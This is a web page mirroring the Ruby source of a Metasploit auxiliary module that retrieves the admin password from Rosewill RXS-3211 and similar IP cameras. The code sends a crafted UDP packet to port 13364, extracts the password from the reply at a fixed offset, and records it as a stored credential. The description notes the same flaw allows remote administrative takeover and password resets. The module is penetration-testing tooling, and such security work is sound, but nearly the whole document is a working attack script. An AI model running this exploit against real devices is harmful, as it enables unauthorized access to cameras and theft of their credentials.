CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

CoCalc provides the best real-time collaborative environment for Jupyter Notebooks, LaTeX documents, and SageMath, scalable from individual users to large groups and classes!

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/auxiliary/scanner/misc/rosewill_rxs3211_passwords.rb
Views: 1904
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Auxiliary
7
include Msf::Exploit::Remote::Udp
8
include Msf::Auxiliary::Report
9
include Msf::Auxiliary::Scanner
10
11
def initialize
12
super(
13
'Name' => 'Rosewill RXS-3211 IP Camera Password Retriever',
14
'Description' => %q{
15
This module takes advantage of a protocol design issue with the Rosewill admin
16
executable in order to retrieve passwords, allowing remote attackers to take
17
administrative control over the device. Other similar IP Cameras such as Edimax,
18
Hawking, Zonet, etc, are also believed to have the same flaw, but not fully tested.
19
The protocol design issue also allows attackers to reset passwords on the device.
20
},
21
'Author' => 'Ben Schmidt',
22
'License' => MSF_LICENSE
23
)
24
25
register_options(
26
[
27
Opt::CHOST,
28
Opt::RPORT(13364),
29
])
30
end
31
32
def run_host(ip)
33
#Protocol
34
target_mac = "\xff\xff\xff\xff\xff\xff"
35
cmd = "\x00" #Request
36
cmd << "\x06\xff\xf9" #Type
37
38
password = nil
39
40
begin
41
udp_sock = Rex::Socket::Udp.create( {
42
'LocalHost' => datastore['CHOST'] || nil,
43
'PeerHost' => ip,
44
'PeerPort' => datastore['RPORT'],
45
'Context' =>
46
{
47
'Msf' => framework,
48
'MsfExploit' => self
49
}
50
})
51
52
udp_sock.put(target_mac+cmd)
53
54
res = udp_sock.recvfrom(65535, 0.5) and res[1]
55
56
#Parse the reply if we get a response
57
if res
58
password = parse_reply(res)
59
end
60
rescue ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::Rex::ConnectionRefused, ::IOError
61
print_error("Connection error")
62
rescue ::Interrupt
63
raise $!
64
rescue ::Exception => e
65
print_error("Unknown error: #{e.class} #{e}")
66
ensure
67
udp_sock.close if udp_sock
68
end
69
70
#Store the password if the parser returns something
71
if password
72
print_good("Password retrieved: #{password.to_s}")
73
report_cred(
74
ip: rhost,
75
port: rport,
76
service_name: 'ipcam',
77
user: '',
78
password: password,
79
proof: password
80
)
81
end
82
end
83
84
def report_cred(opts)
85
service_data = {
86
address: opts[:ip],
87
port: opts[:port],
88
service_name: opts[:service_name],
89
protocol: 'tcp',
90
workspace_id: myworkspace_id
91
}
92
93
credential_data = {
94
origin_type: :service,
95
module_fullname: fullname,
96
username: opts[:user],
97
private_data: opts[:password],
98
private_type: :password
99
}.merge(service_data)
100
101
login_data = {
102
core: create_credential(credential_data),
103
status: Metasploit::Model::Login::Status::UNTRIED,
104
proof: opts[:proof]
105
}.merge(service_data)
106
107
create_credential_login(login_data)
108
end
109
110
def parse_reply(pkt)
111
@results ||= {}
112
113
# Ignore "empty" packets
114
return nil if not pkt[1]
115
116
if(pkt[1] =~ /^::ffff:/)
117
pkt[1] = pkt[1].sub(/^::ffff:/, '')
118
end
119
120
return pkt[0][333,12] if pkt[0][6,4] == "\x01\x06\xff\xf9"
121
end
122
end
123
124